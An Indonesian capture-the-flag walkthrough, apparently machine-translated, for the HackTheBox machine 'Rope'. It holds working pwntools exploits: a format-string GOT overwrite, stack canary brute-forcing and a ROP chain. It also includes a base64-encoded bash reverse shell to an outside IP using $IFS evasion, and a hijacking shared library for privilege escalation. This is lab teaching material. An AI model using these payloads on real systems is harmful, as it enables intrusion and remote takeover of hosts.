Saya terus menerbitkan solusi yang dikirim untuk diproses lebih lanjut dari situs HackTheBox .Pada artikel ini, kami mengumpulkan banyak pwn, yang akan kami pecahkan menggunakan pwntools. Saya pikir ini akan bermanfaat bagi pembaca dengan tingkat kesadaran apa pun dalam topik ini. Ayo pergi ...Koneksi ke laboratorium adalah melalui VPN. Dianjurkan untuk tidak terhubung dari komputer kerja atau dari host di mana data penting bagi Anda tersedia, karena Anda masuk ke jaringan pribadi dengan orang-orang yang mengetahui sesuatu di bidang keamanan informasi :)Informasi Organisasi, ,
Telegram . , ,
.
. , - , .
Recon
Mesin ini memiliki alamat IP 10.10.10.148, yang saya tambahkan ke / etc / hosts.10.10.10.148 rope.htb
Pertama, kami memindai port terbuka. Karena butuh waktu lama untuk memindai semua port dengan nmap, saya akan melakukan ini dengan masscan. Kami memindai semua port TCP dan UDP dari antarmuka tun0 dengan kecepatan 500 paket per detik.masscan -e tun0 -p1-65535,U:1-65535 10.10.10.148 --rate=500
Sekarang, untuk informasi lebih rinci tentang layanan yang beroperasi pada port, kami akan menjalankan pemindaian dengan opsi -A.nmap -A rope.htb -p22,9999
Host menjalankan SSH dan server web. Kami akan pergi di web dan kami akan dipenuhi oleh formulir otorisasi.
Saat melihat pemindaian direktori, kami mendapatkan direktori yang tidak terindeks / (http: //rope.htb: 9999 //).
Dan di direktori / opt / www kita menemukan file yang dapat dieksekusi - ini adalah server web kami.
HTTPserver PWN
Unduh dan lihat apa perlindungannya dengan checksec.
Dengan demikian, kami memiliki aplikasi 32-bit dengan semua perlindungan yang diaktifkan, yaitu:- NX (not execute) — , , , ( ) , , , . .
- ASLR: (libc), libc. ret2libc.
- PIE: , ASLR, , . .
- Canary: , , . , . .
Karena kenyataan bahwa kita dapat membaca file di server, kita dapat membaca peta proses dari file yang dapat dieksekusi ini. Ini akan memberi kita jawaban untuk pertanyaan-pertanyaan berikut:- Alamat apa program tersebut diunduh?
- Dan di alamat apa perpustakaan digunakan olehnya dimuat?
Ayo lakukan itu.curl "http://rope.htb:9999//proc/self/maps" -H 'Range: bytes=0-100000'
Dengan demikian, kami memiliki dua alamat: 0x56558000 dan f7ddc000. Pada saat yang sama, kita mendapatkan path ke libc library yang digunakan, unduh juga. Sekarang, dengan mempertimbangkan semua yang ditemukan, kami akan membuat templat eksploit.from pwn import *
import urllib
import base64
host = 'rope.htb'
port = 9999
context.arch = 'i386'
binary= ELF('./httpserver')
libc = ELF('./libc-2.27.so')
bin_base = 0x56558000
libc_base = 0xf7ddc000
Sekarang buka file itu sendiri untuk analisis di disassembler nyaman bagi Anda (dengan dekompiler). Saya menggunakan IDA dengan banyak plugin, dan sebelum saya duduk untuk analisis mendalam, saya lebih suka melihat segala sesuatu yang saya dapat kumpulkan dari plugin yang terbukti. Salah satunya adalah LazyIDA . Dan untuk kueri "scan format string vuln" kita mendapatkan piring dengan fungsi yang berpotensi rentan.
Dari pengalaman menggunakan plugin ini, saya langsung menarik perhatian ke baris kedua (parameter formatnya). Kami beralih ke tempat penggunaan fungsi ini dan mendekompilasinya.
Dan tebakan dikonfirmasi, garis hanya dilewatkan ke fungsi printf. Mari cari tahu apa string ini. Mari kita pergi ke tempat panggilan ke fungsi log_access.
Jadi kami tertarik pada parameter ketiga, yang menandai IDA sebagai file. Dan kami mendapatkan jawaban untuk semua pertanyaan hanya dengan melihat referensi silang ke variabel ini.
Dengan demikian, ini adalah penunjuk ke string - nama file yang dibuka untuk dibaca. Karena variabel ini adalah hasil dari fungsi parse_request (), file dibuka untuk dibaca, dan seluruh program adalah server web, kita dapat mengasumsikan bahwa ini adalah halaman yang diminta di server.curl http://127.0.0.1:9999/qwerty
Mari kita periksa kerentanan string format.curl http://127.0.0.1:9999/$(python -c 'print("AAAA"+"%25p"*100)')
Baik! Mari kita tentukan offset (berapa banyak% penspesifikasi yang perlu dikirim untuk mendapatkan 0x41414141 - AAAA di akhir output).
Kami mendapat 53. Periksa bahwa semuanya benar.curl http://127.0.0.1:9999/$(python -c 'print("AAAA"+"%25p"*53)')
Kami tidak dapat memperoleh shell lokal, tetapi kami dapat menjalankan perintah, misalnya, melempar shell terbalik:bash -i >& /dev/tcp/10.10.15.60/4321 0>&1
Tetapi untuk menghindari karakter tidak nyaman, kami akan menyandikannya di base64, maka shell call akan terlihat seperti ini:echo “YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS42MC80MzIxIDA+JjEK” | base64 -d | bash -i
Dan pada akhirnya, ganti semua spasi dengan konstruk $ IFS. Kami mendapatkan perintah yang perlu Anda jalankan untuk mendapatkan koneksi kembali.echo$IFS"YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS42MC80MzIxIDA+JjEK"|base64$IFS-d|bash$IFS-i
Mari kita tambahkan ini ke kode:offset = 53
cmd = 'bash -i >& /dev/tcp/10.10.15.60/4321 0>&1'
shell = 'echo$IFS"{}"|base64$IFS-d|bash$IFS-i'.format(base64.b64encode(cmd))
Sekarang kembali ke string format kami. Karena putf dipanggil after printf (), kita dapat menulis ulang alamatnya di GOT ke alamat fungsi sistem dari libc. Berkat pwntools, ini sangat mudah dilakukan. Misalkan Anda bisa mendapatkan alamat relatif dari fungsi put menggunakan binary.got ['puts'], juga mudah dengan fungsi sistem: libc.symbols ['system']. Tentang garis format dan GOT saya jelaskan secara rinci dalam artikel tentang pwn, jadi di sini kita cukup mengumpulkan baris format menggunakan pwntools:writes = {(elf_base + binary.got['puts']): (libc_base + libc.symbols['system'])}
format_string = fmtstr_payload(offset, writes)
Kami mengumpulkan muatan akhir:payload = shell + " /" + urllib.quote(format_string) + "\n\n"
Kami terhubung dan mengirim:p = remote(host,port)
p.send(payload)
p.close()
Kode lengkapnya terlihat seperti ini.
Ayo jalankan kode dan dapatkan koneksi kembali.

PENGGUNA
Mari kita periksa pengaturan sudo untuk mengeksekusi perintah tanpa kata sandi.
Dan kami melihat bahwa Anda dapat menjalankan readlog atas nama pengguna r4j. Tidak ada kerentanan dalam aplikasi, GTFOBins juga tidak ada. Mari kita lihat perpustakaan yang digunakan oleh aplikasi.
ls -l /lib/x86_64-linux-gnu/ | grep "liblog.so\|libc.so.6"
Artinya, kita bisa menulis ke file-file ini. Mari kita tulis perpustakaan kita.#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdlib.h>
void printlog(){
setuid(0);
setgid(0);
system("/bin/sh");
}
Sekarang kompilasi.gcc -c -Wall -Werror -fpic liblog.c
Dan kumpulkan perpustakaan.Gcc -shared -o liblog.so liblog.o
Kemudian kami mengunggah file ke host, menimpa perpustakaan dan menjalankan program.
Jadi kami mengambil pengguna.AKAR
Untuk mendaftar sistem kami menggunakan linpeas.
Jadi di localhost, port 1337 mendengarkan.
Seperti yang Anda lihat, pengguna kami adalah anggota grup adm. Mari kita lihat file yang tersedia untuk grup ini.
Ada file yang menarik. Dan ini adalah program yang mendengarkan pada port.
Dalam hal ini, aplikasi berjalan sebagai root.
Unduh aplikasi itu sendiri dan perpustakaan libc yang digunakannya. Dan perhatikan bahwa ASLR aktif di host.
Periksa perlindungan apa yang dimiliki aplikasi.
Semua maksimal. Yaitu, jika kita menemukan buffer overflow, kita perlu brute kenari (nilai yang diperiksa sebelum keluar dari fungsi untuk memeriksa integritas buffer), dan sebagai teknik untuk mengeksploitasi kerentanan, kita akan menggunakan ROP (yang saya tuliskan secara rinci)di sini ). Mari kita buka program di disassembler dengan decompiler yang nyaman bagi Anda (saya menggunakan IDA Pro). Kami mendekompilasi fungsi utama.
Contoh kenari adalah variabel v10, yang ditetapkan pada awal fungsi. Mari kita lihat apa fungsi sub_1267 bertanggung jawab.
Jadi di sini kita buka port untuk mendengarkan. Anda dapat mengubah nama menjadi is_listen (); kita melangkah lebih jauh. Fungsi yang ditentukan pengguna berikut adalah sub_14EE.
Sebelum mengirim, ada fungsi pengguna lain. Kami melihatnya.
Jadi, dalam fungsi ini, string hingga 0x400 byte diterima dan ditulis ke buffer. Komentar pada variabel buf menunjukkan alamat relatif ke dasar frame stack saat ini (rbp) - [rbp-40h], dan variabel v3 (canary) memiliki alamat relatif [rbp-8h], jadi untuk buffer overflow kita membutuhkan lebih banyak [rbp- 8h] - [rbp-40h] = 0x40-8 = 56 byte.Dengan demikian, rencananya adalah sebagai berikut:- temukan dan limpahkan buffer;
- letakkan kenari, rbp dan rip;
- sejak PIE diaktifkan, Anda perlu menemukan offset yang sebenarnya;
- menemukan kebocoran memori untuk menghitung alamat di mana perpustakaan dimuat;
- Kumpulkan ROP, di mana aliran deskriptor standar akan dialihkan ke deskriptor jaringan program, dan kemudian panggil / bin / sh melalui fungsi sistem.
1. buffer overflow
Seperti yang dapat dilihat di bawah ini, ketika mentransmisikan 56 byte, program ini terus bekerja secara normal, tetapi mentransmisikan 57 byte, kita mendapatkan pengecualian. Dengan demikian, integritas buffer dilanggar.
Mari kita membuat templat eksploit. Karena akan perlu untuk memilah-milah dan menghubungkan kembali banyak, kami akan menonaktifkan output dari pwntools (log_level) pesan.
from pwn import *
HOST = '127.0.0.1'
PORT = 1337
context(os = "linux", arch = "amd64", log_level='error')
pre_payload = "A" * 56
r = remote(HOST, PORT)
context.log_level='info'
r.interactive()
2.Canary, RBP, RIP
Seperti yang kita ketahui, setelah 56 byte buffer ada kenari, dan setelah itu ada alamat RBP dan RIP di stack, yang juga perlu disortir. Mari kita menulis fungsi pencocokan 8 byte.def qword_brute(pre_payload, item):
qword_ = b""
while len(qword_) < 8:
for b in range(256):
byte = bytes([b])
try:
r = remote(HOST, PORT)
print(f"{item} find: {(qword_ + byte).hex()}", end=u"\u001b[1000D")
send_ = pre_payload + qword_ + byte
r.sendafter(b"admin:", send_)
if b"Done" not in r.recvall(timeout=5):
raise EOFError
r.close()
qword_ += byte
break
except EOFError as error:
r.close()
context.log_level='info'
log.success(f"{item} found: {hex(u64(qword_))}")
context.log_level='error'
return qword_
Jadi kami dapat membuat pre_payload:pre_payload = b"A" * 56
CANARY = qword_brute(pre_payload, "CANARY")
pre_payload += CANARY
RBP = qword_brute(pre_payload, "RBP")
pre_payload += RBP
RIP = qword_brute(pre_payload, "RIP")
3.PIE
Sekarang mari kita berurusan dengan PIE. Kami menemukan RIP - ini adalah alamat pengirim tempat kami kembali dari fungsinya. Dengan demikian, kita dapat mengurangi dari itu alamat pengirim dalam kode.
Dengan demikian, offset dari pangkalan adalah 0x1562. Mari kita tunjukkan alamat asli dari aplikasi yang sedang berjalan.base_binary = u64(RIP) - 0x1562
binary = ELF('./contact')
binary.address = base_binary
libc = ELF('./libc.so.6')
4. Memori kebocoran
Aplikasi menggunakan fungsi write () standar untuk menampilkan string prompt, yang mengambil pegangan untuk output, buffer, dan ukurannya. Kita dapat menggunakan fungsi ini.Untuk kenyamanan, mari gunakan modul ROP dari pwntools. Secara singkat, bagaimana dan mengapa ini berfungsi disajikan pada gambar di bawah ini.
Mari kita bocor, ini akan memberi tahu kita apa alamat fungsi tulis di perpustakaan libc yang dimuat.rop_binary = ROP(binary)
rop_binary.write(0x4, binary.got['write'], 0x8)
send_leak = pre_payload + flat(rop_binary.build())
r = remote(HOST, PORT)
r.sendafter(b"admin:", send_leak)
leak = r.recvall().strip().ljust(8, b'\x00')
print(f"Leak: {hex(u64(leak))}")
base_libc = leak - libc.symbols['write']
5. BATU
Mari kita ubah alamat pangkalan perpustakaan libc dan temukan alamat dari baris / bin / sh.libc.address = base_libc
shell_address = next(libc.search(b"/bin/sh\x00"))
Tetap mengumpulkan ROP, di mana deskriptor I / O standar (0,1,2) akan dialihkan ke deskriptor yang terdaftar dalam program (4). Setelah itu fungsi sistem akan dipanggil, di mana kita akan melewati alamat baris / bin / sh.rop_libc = ROP(libc)
rop_libc.dup2(4, 0)
rop_libc.dup2(4, 1)
rop_libc.dup2(4, 2)
rop_libc.system(shell_address)
payload = pre_payload + flat(rop_libc.build())
r = remote(HOST, PORT)
r.sendafter(b"admin:", payload)
time.sleep(2)
r.sendline(b"id")
6. Operasikode eksploitasi penuh.
Sekarang di server, tulis kunci ssh ke file /home/r4j/.ssh/authorizef_keys.
Dan teruskan port (pastikan bahwa koneksi dari port lokal 1337 dialihkan melalui SSH ke port 1337 dari host jarak jauh).ssh -L 1337:127.0.0.1:1337 -i id_rsa r4j@rope.htb
Dan luncurkan exploit.
Kami bekerja di bawah root.Anda dapat bergabung dengan kami di Telegram . Di sana Anda dapat menemukan materi yang menarik, kursus yang digabungkan, serta perangkat lunak. Mari kita mengumpulkan komunitas di mana akan ada orang-orang yang berpengalaman dalam banyak bidang TI, maka kita selalu dapat saling membantu dalam masalah TI dan keamanan informasi.